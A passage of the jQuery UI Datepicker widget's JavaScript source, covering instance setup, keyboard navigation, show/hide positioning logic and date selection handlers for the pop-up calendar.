		stepBigMonths: 12, // Number of months to step back/forward for the big
links
		altField: '', // Selector for an alternate field to store
selected dates into
		altFormat: '', // The date format to use for the alternate
field
		constrainInput: true, // The input is constrained by the current date
format
		showButtonPanel: false, // True to show button panel, false to not show
it
		autoSize: false, // True to size the input for the date format, false to
leave as is
		disabled: false // The initial disabled state
	};
	$.extend(this._defaults, this.regional['']);
	this.dpDiv = bindHover($('<div id="' + this._mainDivId +
'" class="ui-datepicker ui-widget ui-widget-content
ui-helper-clearfix ui-corner-all"></div>'));
}

$.extend(Datepicker.prototype, {
	/* Class name added to elements to indicate already configured with a date
picker. */
	markerClassName: 'hasDatepicker',

	//Keep track of the maximum number of rows displayed (see #7043)
	maxRows: 4,

	/* Debug logging (if enabled). */
	log: function () {
		if (this.debug)
			console.log.apply('', arguments);
	},

	// TODO rename to "widget" when switching to widget factory
	_widgetDatepicker: function() {
		return this.dpDiv;
	},

	/* Override the default settings for all instances of the date picker.
	   @param  settings  object - the new settings to use as defaults
(anonymous object)
	   @return the manager object */
	setDefaults: function(settings) {
		extendRemove(this._defaults, settings || {});
		return this;
	},

	/* Attach the date picker to a jQuery selection.
	   @param  target    element - the target input field or division or span
	   @param  settings  object - the new settings to use for this date picker
instance (anonymous) */
	_attachDatepicker: function(target, settings) {
		// check for settings on the control itself - in namespace
'date:'
		var inlineSettings = null;
		for (var attrName in this._defaults) {
			var attrValue = target.getAttribute('date:' + attrName);
			if (attrValue) {
				inlineSettings = inlineSettings || {};
				try {
					inlineSettings[attrName] = eval(attrValue);
				} catch (err) {
					inlineSettings[attrName] = attrValue;
				}
			}
		}
		var nodeName = target.nodeName.toLowerCase();
		var inline = (nodeName == 'div' || nodeName ==
'span');
		if (!target.id) {
			this.uuid += 1;
			target.id = 'dp' + this.uuid;
		}
		var inst = this._newInst($(target), inline);
		inst.settings = $.extend({}, settings || {}, inlineSettings || {});
		if (nodeName == 'input') {
			this._connectDatepicker(target, inst);
		} else if (inline) {
			this._inlineDatepicker(target, inst);
		}
	},

	/* Create a new instance object. */
	_newInst: function(target, inline) {
		var id = target[0].id.replace(/([^A-Za-z0-9_-])/g, '\\\\$1');
// escape jQuery meta chars
		return {id: id, input: target, // associated target
			selectedDay: 0, selectedMonth: 0, selectedYear: 0, // current selection
			drawMonth: 0, drawYear: 0, // month being drawn
			inline: inline, // is datepicker inline or not
			dpDiv: (!inline ? this.dpDiv : // presentation div
			bindHover($('<div class="' + this._inlineClass +
' ui-datepicker ui-widget ui-widget-content ui-helper-clearfix
ui-corner-all"></div>')))};
	},

	/* Attach the date picker to an input field. */
	_connectDatepicker: function(target, inst) {
		var input = $(target);
		inst.append = $([]);
		inst.trigger = $([]);
		if (input.hasClass(this.markerClassName))
			return;
		this._attachments(input, inst);
		input.addClass(this.markerClassName).keydown(this._doKeyDown).
			keypress(this._doKeyPress).keyup(this._doKeyUp).
			bind("setData.datepicker", function(event, key, value) {
				inst.settings[key] = value;
			}).bind("getData.datepicker", function(event, key) {
				return this._get(inst, key);
			});
		this._autoSize(inst);
		$.data(target, PROP_NAME, inst);
		//If disabled option is true, disable the datepicker once it has been
attached to the input (see ticket #5665)
		if( inst.settings.disabled ) {
			this._disableDatepicker( target );
		}
	},

	/* Make attachments based on settings. */
	_attachments: function(input, inst) {
		var appendText = this._get(inst, 'appendText');
		var isRTL = this._get(inst, 'isRTL');
		if (inst.append)
			inst.append.remove();
		if (appendText) {
			inst.append = $('<span class="' + this._appendClass +
'">' + appendText + '</span>');
			input[isRTL ? 'before' : 'after'](inst.append);
		}
		input.unbind('focus', this._showDatepicker);
		if (inst.trigger)
			inst.trigger.remove();
		var showOn = this._get(inst, 'showOn');
		if (showOn == 'focus' || showOn == 'both') // pop-up
date picker when in the marked field
			input.focus(this._showDatepicker);
		if (showOn == 'button' || showOn == 'both') { //
pop-up date picker when button clicked
			var buttonText = this._get(inst, 'buttonText');
			var buttonImage = this._get(inst, 'buttonImage');
			inst.trigger = $(this._get(inst, 'buttonImageOnly') ?
				$('<img/>').addClass(this._triggerClass).
					attr({ src: buttonImage, alt: buttonText, title: buttonText }) :
				$('<button
type="button"></button>').addClass(this._triggerClass).
					html(buttonImage == '' ? buttonText :
$('<img/>').attr(
					{ src:buttonImage, alt:buttonText, title:buttonText })));
			input[isRTL ? 'before' : 'after'](inst.trigger);
			inst.trigger.click(function() {
				if ($.datepicker._datepickerShowing && $.datepicker._lastInput
== input[0])
					$.datepicker._hideDatepicker();
				else if ($.datepicker._datepickerShowing &&
$.datepicker._lastInput != input[0]) {
					$.datepicker._hideDatepicker();
					$.datepicker._showDatepicker(input[0]);
				} else
					$.datepicker._showDatepicker(input[0]);
				return false;
			});
		}
	},

	/* Apply the maximum length for the date format. */
	_autoSize: function(inst) {
		if (this._get(inst, 'autoSize') && !inst.inline) {
			var date = new Date(2009, 12 - 1, 20); // Ensure double digits
			var dateFormat = this._get(inst, 'dateFormat');
			if (dateFormat.match(/[DM]/)) {
				var findMax = function(names) {
					var max = 0;
					var maxI = 0;
					for (var i = 0; i < names.length; i++) {
						if (names[i].length > max) {
							max = names[i].length;
							maxI = i;
						}
					}
					return maxI;
				};
				date.setMonth(findMax(this._get(inst, (dateFormat.match(/MM/) ?
					'monthNames' : 'monthNamesShort'))));
				date.setDate(findMax(this._get(inst, (dateFormat.match(/DD/) ?
					'dayNames' : 'dayNamesShort'))) + 20 -
date.getDay());
			}
			inst.input.attr('size', this._formatDate(inst, date).length);
		}
	},

	/* Attach an inline date picker to a div. */
	_inlineDatepicker: function(target, inst) {
		var divSpan = $(target);
		if (divSpan.hasClass(this.markerClassName))
			return;
		divSpan.addClass(this.markerClassName).append(inst.dpDiv).
			bind("setData.datepicker", function(event, key, value){
				inst.settings[key] = value;
			}).bind("getData.datepicker", function(event, key){
				return this._get(inst, key);
			});
		$.data(target, PROP_NAME, inst);
		this._setDate(inst, this._getDefaultDate(inst), true);
		this._updateDatepicker(inst);
		this._updateAlternate(inst);
		//If disabled option is true, disable the datepicker before showing it
(see ticket #5665)
		if( inst.settings.disabled ) {
			this._disableDatepicker( target );
		}
		// Set display:block in place of inst.dpDiv.show() which won't work
on disconnected elements
		// http://bugs.jqueryui.com/ticket/7552 - A Datepicker created on a
detached div has zero height
		inst.dpDiv.css( "display", "block" );
	},

	/* Pop-up the date picker in a "dialog" box.
	   @param  input     element - ignored
	   @param  date      string or Date - the initial date to display
	   @param  onSelect  function - the function to call when a date is
selected
	   @param  settings  object - update the dialog date picker
instance's settings (anonymous object)
	   @param  pos       int[2] - coordinates for the dialog's position
within the screen or
	                     event - with x/y coordinates or
	                     leave empty for default (screen centre)
	   @return the manager object */
	_dialogDatepicker: function(input, date, onSelect, settings, pos) {
		var inst = this._dialogInst; // internal instance
		if (!inst) {
			this.uuid += 1;
			var id = 'dp' + this.uuid;
			this._dialogInput = $('<input type="text"
id="' + id +
				'" style="position: absolute; top: -100px; width:
0px;"/>');
			this._dialogInput.keydown(this._doKeyDown);
			$('body').append(this._dialogInput);
			inst = this._dialogInst = this._newInst(this._dialogInput, false);
			inst.settings = {};
			$.data(this._dialogInput[0], PROP_NAME, inst);
		}
		extendRemove(inst.settings, settings || {});
		date = (date && date.constructor == Date ? this._formatDate(inst,
date) : date);
		this._dialogInput.val(date);

		this._pos = (pos ? (pos.length ? pos : [pos.pageX, pos.pageY]) : null);
		if (!this._pos) {
			var browserWidth = document.documentElement.clientWidth;
			var browserHeight = document.documentElement.clientHeight;
			var scrollX = document.documentElement.scrollLeft ||
document.body.scrollLeft;
			var scrollY = document.documentElement.scrollTop ||
document.body.scrollTop;
			this._pos = // should use actual width/height below
				[(browserWidth / 2) - 100 + scrollX, (browserHeight / 2) - 150 +
scrollY];
		}

		// move input on screen for focus, but hidden behind dialog
		this._dialogInput.css('left', (this._pos[0] + 20) +
'px').css('top', this._pos[1] + 'px');
		inst.settings.onSelect = onSelect;
		this._inDialog = true;
		this.dpDiv.addClass(this._dialogClass);
		this._showDatepicker(this._dialogInput[0]);
		if ($.blockUI)
			$.blockUI(this.dpDiv);
		$.data(this._dialogInput[0], PROP_NAME, inst);
		return this;
	},

	/* Detach a datepicker from its control.
	   @param  target    element - the target input field or division or span
*/
	_destroyDatepicker: function(target) {
		var $target = $(target);
		var inst = $.data(target, PROP_NAME);
		if (!$target.hasClass(this.markerClassName)) {
			return;
		}
		var nodeName = target.nodeName.toLowerCase();
		$.removeData(target, PROP_NAME);
		if (nodeName == 'input') {
			inst.append.remove();
			inst.trigger.remove();
			$target.removeClass(this.markerClassName).
				unbind('focus', this._showDatepicker).
				unbind('keydown', this._doKeyDown).
				unbind('keypress', this._doKeyPress).
				unbind('keyup', this._doKeyUp);
		} else if (nodeName == 'div' || nodeName == 'span')
			$target.removeClass(this.markerClassName).empty();
	},

	/* Enable the date picker to a jQuery selection.
	   @param  target    element - the target input field or division or span
*/
	_enableDatepicker: function(target) {
		var $target = $(target);
		var inst = $.data(target, PROP_NAME);
		if (!$target.hasClass(this.markerClassName)) {
			return;
		}
		var nodeName = target.nodeName.toLowerCase();
		if (nodeName == 'input') {
			target.disabled = false;
			inst.trigger.filter('button').
				each(function() { this.disabled = false; }).end().
				filter('img').css({opacity: '1.0', cursor:
''});
		}
		else if (nodeName == 'div' || nodeName == 'span') {
			var inline = $target.children('.' + this._inlineClass);
			inline.children().removeClass('ui-state-disabled');
			inline.find("select.ui-datepicker-month,
select.ui-datepicker-year").
				prop("disabled", false);
		}
		this._disabledInputs = $.map(this._disabledInputs,
			function(value) { return (value == target ? null : value); }); // delete
entry
	},

	/* Disable the date picker to a jQuery selection.
	   @param  target    element - the target input field or division or span
*/
	_disableDatepicker: function(target) {
		var $target = $(target);
		var inst = $.data(target, PROP_NAME);
		if (!$target.hasClass(this.markerClassName)) {
			return;
		}
		var nodeName = target.nodeName.toLowerCase();
		if (nodeName == 'input') {
			target.disabled = true;
			inst.trigger.filter('button').
				each(function() { this.disabled = true; }).end().
				filter('img').css({opacity: '0.5', cursor:
'default'});
		}
		else if (nodeName == 'div' || nodeName == 'span') {
			var inline = $target.children('.' + this._inlineClass);
			inline.children().addClass('ui-state-disabled');
			inline.find("select.ui-datepicker-month,
select.ui-datepicker-year").
				prop("disabled", true);
		}
		this._disabledInputs = $.map(this._disabledInputs,
			function(value) { return (value == target ? null : value); }); // delete
entry
		this._disabledInputs[this._disabledInputs.length] = target;
	},

	/* Is the first field in a jQuery collection disabled as a datepicker?
	   @param  target    element - the target input field or division or span
	   @return boolean - true if disabled, false if enabled */
	_isDisabledDatepicker: function(target) {
		if (!target) {
			return false;
		}
		for (var i = 0; i < this._disabledInputs.length; i++) {
			if (this._disabledInputs[i] == target)
				return true;
		}
		return false;
	},

	/* Retrieve the instance data for the target control.
	   @param  target  element - the target input field or division or span
	   @return  object - the associated instance data
	   @throws  error if a jQuery problem getting data */
	_getInst: function(target) {
		try {
			return $.data(target, PROP_NAME);
		}
		catch (err) {
			throw 'Missing instance data for this datepicker';
		}
	},

	/* Update or retrieve the settings for a date picker attached to an input
field or division.
	   @param  target  element - the target input field or division or span
	   @param  name    object - the new settings to update or
	                   string - the name of the setting to change or retrieve,
	                   when retrieving also 'all' for all instance
settings or
	                   'defaults' for all global defaults
	   @param  value   any - the new value for the setting
	                   (omit if above is an object or to retrieve a value) */
	_optionDatepicker: function(target, name, value) {
		var inst = this._getInst(target);
		if (arguments.length == 2 && typeof name == 'string') {
			return (name == 'defaults' ? $.extend({},
$.datepicker._defaults) :
				(inst ? (name == 'all' ? $.extend({}, inst.settings) :
				this._get(inst, name)) : null));
		}
		var settings = name || {};
		if (typeof name == 'string') {
			settings = {};
			settings[name] = value;
		}
		if (inst) {
			if (this._curInst == inst) {
				this._hideDatepicker();
			}
			var date = this._getDateDatepicker(target, true);
			var minDate = this._getMinMaxDate(inst, 'min');
			var maxDate = this._getMinMaxDate(inst, 'max');
			extendRemove(inst.settings, settings);
			// reformat the old minDate/maxDate values if dateFormat changes and a
new minDate/maxDate isn't provided
			if (minDate !== null && settings['dateFormat'] !==
undefined && settings['minDate'] === undefined)
				inst.settings.minDate = this._formatDate(inst, minDate);
			if (maxDate !== null && settings['dateFormat'] !==
undefined && settings['maxDate'] === undefined)
				inst.settings.maxDate = this._formatDate(inst, maxDate);
			this._attachments($(target), inst);
			this._autoSize(inst);
			this._setDate(inst, date);
			this._updateAlternate(inst);
			this._updateDatepicker(inst);
		}
	},

	// change method deprecated
	_changeDatepicker: function(target, name, value) {
		this._optionDatepicker(target, name, value);
	},

	/* Redraw the date picker attached to an input field or division.
	   @param  target  element - the target input field or division or span */
	_refreshDatepicker: function(target) {
		var inst = this._getInst(target);
		if (inst) {
			this._updateDatepicker(inst);
		}
	},

	/* Set the dates for a jQuery selection.
	   @param  target   element - the target input field or division or span
	   @param  date     Date - the new date */
	_setDateDatepicker: function(target, date) {
		var inst = this._getInst(target);
		if (inst) {
			this._setDate(inst, date);
			this._updateDatepicker(inst);
			this._updateAlternate(inst);
		}
	},

	/* Get the date(s) for the first entry in a jQuery selection.
	   @param  target     element - the target input field or division or span
	   @param  noDefault  boolean - true if no default date is to be used
	   @return Date - the current date */
	_getDateDatepicker: function(target, noDefault) {
		var inst = this._getInst(target);
		if (inst && !inst.inline)
			this._setDateFromField(inst, noDefault);
		return (inst ? this._getDate(inst) : null);
	},

	/* Handle keystrokes. */
	_doKeyDown: function(event) {
		var inst = $.datepicker._getInst(event.target);
		var handled = true;
		var isRTL = inst.dpDiv.is('.ui-datepicker-rtl');
		inst._keyEvent = true;
		if ($.datepicker._datepickerShowing)
			switch (event.keyCode) {
				case 9: $.datepicker._hideDatepicker();
						handled = false;
						break; // hide on tab out
				case 13: var sel = $('td.' + $.datepicker._dayOverClass +
':not(.' +
									$.datepicker._currentClass + ')', inst.dpDiv);
						if (sel[0])
							$.datepicker._selectDay(event.target, inst.selectedMonth,
inst.selectedYear, sel[0]);
							var onSelect = $.datepicker._get(inst, 'onSelect');
							if (onSelect) {
								var dateStr = $.datepicker._formatDate(inst);

								// trigger custom callback
								onSelect.apply((inst.input ? inst.input[0] : null), [dateStr,
inst]);
							}
						else
							$.datepicker._hideDatepicker();
						return false; // don't submit the form
						break; // select the value on enter
				case 27: $.datepicker._hideDatepicker();
						break; // hide on escape
				case 33: $.datepicker._adjustDate(event.target, (event.ctrlKey ?
							-$.datepicker._get(inst, 'stepBigMonths') :
							-$.datepicker._get(inst, 'stepMonths')), 'M');
						break; // previous month/year on page up/+ ctrl
				case 34: $.datepicker._adjustDate(event.target, (event.ctrlKey ?
							+$.datepicker._get(inst, 'stepBigMonths') :
							+$.datepicker._get(inst, 'stepMonths')), 'M');
						break; // next month/year on page down/+ ctrl
				case 35: if (event.ctrlKey || event.metaKey)
$.datepicker._clearDate(event.target);
						handled = event.ctrlKey || event.metaKey;
						break; // clear on ctrl or command +end
				case 36: if (event.ctrlKey || event.metaKey)
$.datepicker._gotoToday(event.target);
						handled = event.ctrlKey || event.metaKey;
						break; // current on ctrl or command +home
				case 37: if (event.ctrlKey || event.metaKey)
$.datepicker._adjustDate(event.target, (isRTL ? +1 : -1), 'D');
						handled = event.ctrlKey || event.metaKey;
						// -1 day on ctrl or command +left
						if (event.originalEvent.altKey)
$.datepicker._adjustDate(event.target, (event.ctrlKey ?
									-$.datepicker._get(inst, 'stepBigMonths') :
									-$.datepicker._get(inst, 'stepMonths')), 'M');
						// next month/year on alt +left on Mac
						break;
				case 38: if (event.ctrlKey || event.metaKey)
$.datepicker._adjustDate(event.target, -7, 'D');
						handled = event.ctrlKey || event.metaKey;
						break; // -1 week on ctrl or command +up
				case 39: if (event.ctrlKey || event.metaKey)
$.datepicker._adjustDate(event.target, (isRTL ? -1 : +1), 'D');
						handled = event.ctrlKey || event.metaKey;
						// +1 day on ctrl or command +right
						if (event.originalEvent.altKey)
$.datepicker._adjustDate(event.target, (event.ctrlKey ?
									+$.datepicker._get(inst, 'stepBigMonths') :
									+$.datepicker._get(inst, 'stepMonths')), 'M');
						// next month/year on alt +right
						break;
				case 40: if (event.ctrlKey || event.metaKey)
$.datepicker._adjustDate(event.target, +7, 'D');
						handled = event.ctrlKey || event.metaKey;
						break; // +1 week on ctrl or command +down
				default: handled = false;
			}
		else if (event.keyCode == 36 && event.ctrlKey) // display the
date picker on ctrl+home
			$.datepicker._showDatepicker(this);
		else {
			handled = false;
		}
		if (handled) {
			event.preventDefault();
			event.stopPropagation();
		}
	},

	/* Filter entered characters - based on date format. */
	_doKeyPress: function(event) {
		var inst = $.datepicker._getInst(event.target);
		if ($.datepicker._get(inst, 'constrainInput')) {
			var chars = $.datepicker._possibleChars($.datepicker._get(inst,
'dateFormat'));
			var chr = String.fromCharCode(event.charCode == undefined ?
event.keyCode : event.charCode);
			return event.ctrlKey || event.metaKey || (chr < ' ' ||
!chars || chars.indexOf(chr) > -1);
		}
	},

	/* Synchronise manual entry and field/alternate field. */
	_doKeyUp: function(event) {
		var inst = $.datepicker._getInst(event.target);
		if (inst.input.val() != inst.lastVal) {
			try {
				var date = $.datepicker.parseDate($.datepicker._get(inst,
'dateFormat'),
					(inst.input ? inst.input.val() : null),
					$.datepicker._getFormatConfig(inst));
				if (date) { // only if valid
					$.datepicker._setDateFromField(inst);
					$.datepicker._updateAlternate(inst);
					$.datepicker._updateDatepicker(inst);
				}
			}
			catch (err) {
				$.datepicker.log(err);
			}
		}
		return true;
	},

	/* Pop-up the date picker for a given input field.
	   If false returned from beforeShow event handler do not show.
	   @param  input  element - the input field attached to the date picker or
	                  event - if triggered by focus */
	_showDatepicker: function(input) {
		input = input.target || input;
		if (input.nodeName.toLowerCase() != 'input') // find from
button/image trigger
			input = $('input', input.parentNode)[0];
		if ($.datepicker._isDisabledDatepicker(input) || $.datepicker._lastInput
== input) // already here
			return;
		var inst = $.datepicker._getInst(input);
		if ($.datepicker._curInst && $.datepicker._curInst != inst) {
			$.datepicker._curInst.dpDiv.stop(true, true);
			if ( inst && $.datepicker._datepickerShowing ) {
				$.datepicker._hideDatepicker( $.datepicker._curInst.input[0] );
			}
		}
		var beforeShow = $.datepicker._get(inst, 'beforeShow');
		var beforeShowSettings = beforeShow ? beforeShow.apply(input, [input,
inst]) : {};
		if(beforeShowSettings === false){
			//false
			return;
		}
		extendRemove(inst.settings, beforeShowSettings);
		inst.lastVal = null;
		$.datepicker._lastInput = input;
		$.datepicker._setDateFromField(inst);
		if ($.datepicker._inDialog) // hide cursor
			input.value = '';
		if (!$.datepicker._pos) { // position below input
			$.datepicker._pos = $.datepicker._findPos(input);
			$.datepicker._pos[1] += input.offsetHeight; // add the height
		}
		var isFixed = false;
		$(input).parents().each(function() {
			isFixed |= $(this).css('position') == 'fixed';
			return !isFixed;
		});
		var offset = {left: $.datepicker._pos[0], top: $.datepicker._pos[1]};
		$.datepicker._pos = null;
		//to avoid flashes on Firefox
		inst.dpDiv.empty();
		// determine sizing offscreen
		inst.dpDiv.css({position: 'absolute', display:
'block', top: '-1000px'});
		$.datepicker._updateDatepicker(inst);
		// fix width for dynamic number of date pickers
		// and adjust position before showing
		offset = $.datepicker._checkOffset(inst, offset, isFixed);
		inst.dpDiv.css({position: ($.datepicker._inDialog && $.blockUI ?
			'static' : (isFixed ? 'fixed' :
'absolute')), display: 'none',
			left: offset.left + 'px', top: offset.top + 'px'});
		if (!inst.inline) {
			var showAnim = $.datepicker._get(inst, 'showAnim');
			var duration = $.datepicker._get(inst, 'duration');
			var postProcess = function() {
				var cover = inst.dpDiv.find('iframe.ui-datepicker-cover'); //
IE6- only
				if( !! cover.length ){
					var borders = $.datepicker._getBorders(inst.dpDiv);
					cover.css({left: -borders[0], top: -borders[1],
						width: inst.dpDiv.outerWidth(), height: inst.dpDiv.outerHeight()});
				}
			};
			inst.dpDiv.zIndex($(input).zIndex()+1);
			$.datepicker._datepickerShowing = true;

			// DEPRECATED: after BC for 1.8.x $.effects[ showAnim ] is not needed
			if ( $.effects && ( $.effects.effect[ showAnim ] || $.effects[
showAnim ] ) )
				inst.dpDiv.show(showAnim, $.datepicker._get(inst,
'showOptions'), duration, postProcess);
			else
				inst.dpDiv[showAnim || 'show']((showAnim ? duration : null),
postProcess);
			if (!showAnim || !duration)
				postProcess();
			if (inst.input.is(':visible') &&
!inst.input.is(':disabled'))
				inst.input.focus();
			$.datepicker._curInst = inst;
		}
	},

	/* Generate the date picker content. */
	_updateDatepicker: function(inst) {
		this.maxRows = 4; //Reset the max number of rows being displayed (see
#7043)
		var borders = $.datepicker._getBorders(inst.dpDiv);
		instActive = inst; // for delegate hover events
		inst.dpDiv.empty().append(this._generateHTML(inst));
		this._attachHandlers(inst);
		var cover = inst.dpDiv.find('iframe.ui-datepicker-cover'); //
IE6- only
		if( !!cover.length ){ //avoid call to outerXXXX() when not in IE6
			cover.css({left: -borders[0], top: -borders[1], width:
inst.dpDiv.outerWidth(), height: inst.dpDiv.outerHeight()})
		}
		inst.dpDiv.find('.' + this._dayOverClass + '
a').mouseover();
		var numMonths = this._getNumberOfMonths(inst);
		var cols = numMonths[1];
		var width = 17;
		inst.dpDiv.removeClass('ui-datepicker-multi-2 ui-datepicker-multi-3
ui-datepicker-multi-4').width('');
		if (cols > 1)
			inst.dpDiv.addClass('ui-datepicker-multi-' +
cols).css('width', (width * cols) + 'em');
		inst.dpDiv[(numMonths[0] != 1 || numMonths[1] != 1 ? 'add' :
'remove') +
			'Class']('ui-datepicker-multi');
		inst.dpDiv[(this._get(inst, 'isRTL') ? 'add' :
'remove') +
			'Class']('ui-datepicker-rtl');
		if (inst == $.datepicker._curInst &&
$.datepicker._datepickerShowing && inst.input &&
				// #6694 - don't focus the input if it's already focused
				// this breaks the change event in IE
				inst.input.is(':visible') &&
!inst.input.is(':disabled') && inst.input[0] !=
document.activeElement)
			inst.input.focus();
		// deffered render of the years select (to avoid flashes on Firefox)
		if( inst.yearshtml ){
			var origyearshtml = inst.yearshtml;
			setTimeout(function(){
				//assure that inst.yearshtml didn't change.
				if( origyearshtml === inst.yearshtml && inst.yearshtml ){
					inst.dpDiv.find('select.ui-datepicker-year:first').replaceWith(inst.yearshtml);
				}
				origyearshtml = inst.yearshtml = null;
			}, 0);
		}
	},

	/* Retrieve the size of left and top borders for an element.
	   @param  elem  (jQuery object) the element of interest
	   @return  (number[2]) the left and top borders */
	_getBorders: function(elem) {
		var convert = function(value) {
			return {thin: 1, medium: 2, thick: 3}[value] || value;
		};
		return [parseFloat(convert(elem.css('border-left-width'))),
			parseFloat(convert(elem.css('border-top-width')))];
	},

	/* Check positioning to remain on screen. */
	_checkOffset: function(inst, offset, isFixed) {
		var dpWidth = inst.dpDiv.outerWidth();
		var dpHeight = inst.dpDiv.outerHeight();
		var inputWidth = inst.input ? inst.input.outerWidth() : 0;
		var inputHeight = inst.input ? inst.input.outerHeight() : 0;
		var viewWidth = document.documentElement.clientWidth + (isFixed ? 0 :
$(document).scrollLeft());
		var viewHeight = document.documentElement.clientHeight + (isFixed ? 0 :
$(document).scrollTop());

		offset.left -= (this._get(inst, 'isRTL') ? (dpWidth -
inputWidth) : 0);
		offset.left -= (isFixed && offset.left ==
inst.input.offset().left) ? $(document).scrollLeft() : 0;
		offset.top -= (isFixed && offset.top == (inst.input.offset().top
+ inputHeight)) ? $(document).scrollTop() : 0;

		// now check if datepicker is showing outside window viewport - move to a
better place if so.
		offset.left -= Math.min(offset.left, (offset.left + dpWidth >
viewWidth && viewWidth > dpWidth) ?
			Math.abs(offset.left + dpWidth - viewWidth) : 0);
		offset.top -= Math.min(offset.top, (offset.top + dpHeight > viewHeight
&& viewHeight > dpHeight) ?
			Math.abs(dpHeight + inputHeight) : 0);

		return offset;
	},

	/* Find an object's position on the screen. */
	_findPos: function(obj) {
		var inst = this._getInst(obj);
		var isRTL = this._get(inst, 'isRTL');
		while (obj && (obj.type == 'hidden' || obj.nodeType !=
1 || $.expr.filters.hidden(obj))) {
			obj = obj[isRTL ? 'previousSibling' :
'nextSibling'];
		}
		var position = $(obj).offset();
		return [position.left, position.top];
	},

	/* Hide the date picker from view.
	   @param  input  element - the input field attached to the date picker */
	_hideDatepicker: function(input) {
		var inst = this._curInst;
		if (!inst || (input && inst != $.data(input, PROP_NAME)))
			return;
		if (this._datepickerShowing) {
			var showAnim = this._get(inst, 'showAnim');
			var duration = this._get(inst, 'duration');
			var postProcess = function() {
				$.datepicker._tidyDialog(inst);
			};

			// DEPRECATED: after BC for 1.8.x $.effects[ showAnim ] is not needed
			if ( $.effects && ( $.effects.effect[ showAnim ] || $.effects[
showAnim ] ) )
				inst.dpDiv.hide(showAnim, $.datepicker._get(inst,
'showOptions'), duration, postProcess);
			else
				inst.dpDiv[(showAnim == 'slideDown' ? 'slideUp' :
					(showAnim == 'fadeIn' ? 'fadeOut' :
'hide'))]((showAnim ? duration : null), postProcess);
			if (!showAnim)
				postProcess();
			this._datepickerShowing = false;
			var onClose = this._get(inst, 'onClose');
			if (onClose)
				onClose.apply((inst.input ? inst.input[0] : null),
					[(inst.input ? inst.input.val() : ''), inst]);
			this._lastInput = null;
			if (this._inDialog) {
				this._dialogInput.css({ position: 'absolute', left:
'0', top: '-100px' });
				if ($.blockUI) {
					$.unblockUI();
					$('body').append(this.dpDiv);
				}
			}
			this._inDialog = false;
		}
	},

	/* Tidy up after a dialog display. */
	_tidyDialog: function(inst) {
		inst.dpDiv.removeClass(this._dialogClass).unbind('.ui-datepicker-calendar');
	},

	/* Close date picker if clicked elsewhere. */
	_checkExternalClick: function(event) {
		if (!$.datepicker._curInst)
			return;

		var $target = $(event.target),
			inst = $.datepicker._getInst($target[0]);

		if ( ( ( $target[0].id != $.datepicker._mainDivId &&
				$target.parents('#' + $.datepicker._mainDivId).length == 0
&&
				!$target.hasClass($.datepicker.markerClassName) &&
				!$target.closest("." + $.datepicker._triggerClass).length
&&
				$.datepicker._datepickerShowing && !($.datepicker._inDialog
&& $.blockUI) ) ) ||
			( $target.hasClass($.datepicker.markerClassName) &&
$.datepicker._curInst != inst ) )
			$.datepicker._hideDatepicker();
	},

	/* Adjust one of the date sub-fields. */
	_adjustDate: function(id, offset, period) {
		var target = $(id);
		var inst = this._getInst(target[0]);
		if (this._isDisabledDatepicker(target[0])) {
			return;
		}
		this._adjustInstDate(inst, offset +
			(period == 'M' ? this._get(inst, 'showCurrentAtPos')
: 0), // undo positioning
			period);
		this._updateDatepicker(inst);
	},

	/* Action for current link. */
	_gotoToday: function(id) {
		var target = $(id);
		var inst = this._getInst(target[0]);
		if (this._get(inst, 'gotoCurrent') && inst.currentDay)
{
			inst.selectedDay = inst.currentDay;
			inst.drawMonth = inst.selectedMonth = inst.currentMonth;
			inst.drawYear = inst.selectedYear = inst.currentYear;
		}
		else {
			var date = new Date();
			inst.selectedDay = date.getDate();
			inst.drawMonth = inst.selectedMonth = date.getMonth();
			inst.drawYear = inst.selectedYear = date.getFullYear();
		}
		this._notifyChange(inst);
		this._adjustDate(target);
	},

	/* Action for selecting a new month/year. */
	_selectMonthYear: function(id, select, period) {
		var target = $(id);
		var inst = this._getInst(target[0]);
		inst['selected' + (period == 'M' ? 'Month'
: 'Year')] =
		inst['draw' + (period == 'M' ? 'Month' :
'Year')] =
			parseInt(select.options[select.selectedIndex].value,10);
		this._notifyChange(inst);
		this._adjustDate(target);
	},

	/* Action for selecting a day. */
	_selectDay: function(id, month, year, td) {
		var target = $(id);
		if ($(td).hasClass(this._unselectableClass) ||
this._isDisabledDatepicker(target[0])) {
			return;
		}
		var inst = this._getInst(target[0]);
		inst.selectedDay = inst.currentDay = $('a', td).html();
		inst.selectedMonth = inst.currentMonth = month;
		inst.selectedYear = inst.currentYear = year;
		this._selectDate(id, this._formatDate(inst,
			inst.currentDay, inst.currentMonth, inst.currentYear));
	},

	/* Erase the input field and hide the date picker. */
	_clearDate: function(id) {
		var target = $(id);
		var inst = this._getInst(target[0]);
		this._selectDate(target, '');
	},

	/* Update the input field with the selected date. */
	_selectDate: function(id, dateStr) {
		var target = $(id);
		var inst = this._getInst(target[0]);
		dateStr = (dateStr != null ? dateStr : this._formatDate(inst));
		if (inst.input)
			inst.input.val(dateStr);
		this._updateAlternate(inst);
		var onSelect = this._get(inst, 'onSelect');
		if (onSelect)
			onSelect.apply((inst.input ? inst.input[0] : null), [dateStr, inst]); 
// trigger custom callback
		else if (inst.input)
			inst.input.trigger('change'); // fire the change event
		if (inst.inline)
			this._updateDatepicker(inst);
		else {
			this._hideDatepicker();
			this._lastInput = inst.input[0];
			if (typeof(inst.input[0]) != 'object')
				inst.input.focus(); // restore focus
			this._lastInput = null;
		}
	},

	/* Update any alternate field to synchronise with the main field. */
	_updateAlternate: function(inst) {
		var altField = this._get(inst, 'altField');
		if (altField) { // update alternate field too
			var altFormat = this._get(inst, 'altFormat') ||
this._get(inst, 'dateFormat');
			var date = this._getDate(inst);
			var dateStr = this.formatDate(altFormat, date,
this._getFormatConfig(inst));
			$(altField).each(function() { $(this).val(dateStr); });
		}
	},

	/* Set as beforeShowDay function to prevent selection of weekends.
	   @param  date  Date - the date to customise
	   @return [boolean, string] - is this date selectable?, what is its CSS
class? */
	noWeekends: function(date) {
		var day = date.getDay();
		return [(day > 0 && day < 6), ''];
	},

	/* Set as calculateWeek to determine the week of the year based on the ISO
8601 definition.
	   @param  date  Date - the date to get the week for
	   @return  number - the number of the week within the year that contains
this date */
	iso8601Week: function(date) {
		var checkDate = new Date(date.getTime());
		// Find Thursday of this week starting on Monday
		checkDate.setDate(checkDate.getDate() + 4 - (checkDate.getDay() || 7));
		var time = checkDate.getTime();
		checkDate.setMonth(0); // Compare with Jan 1
		checkDate.setDate(1);
		return Math.floor(Math.round((time - checkDate) / 86400000) / 7) + 1;
	},

	/* Parse a string value into a date object.
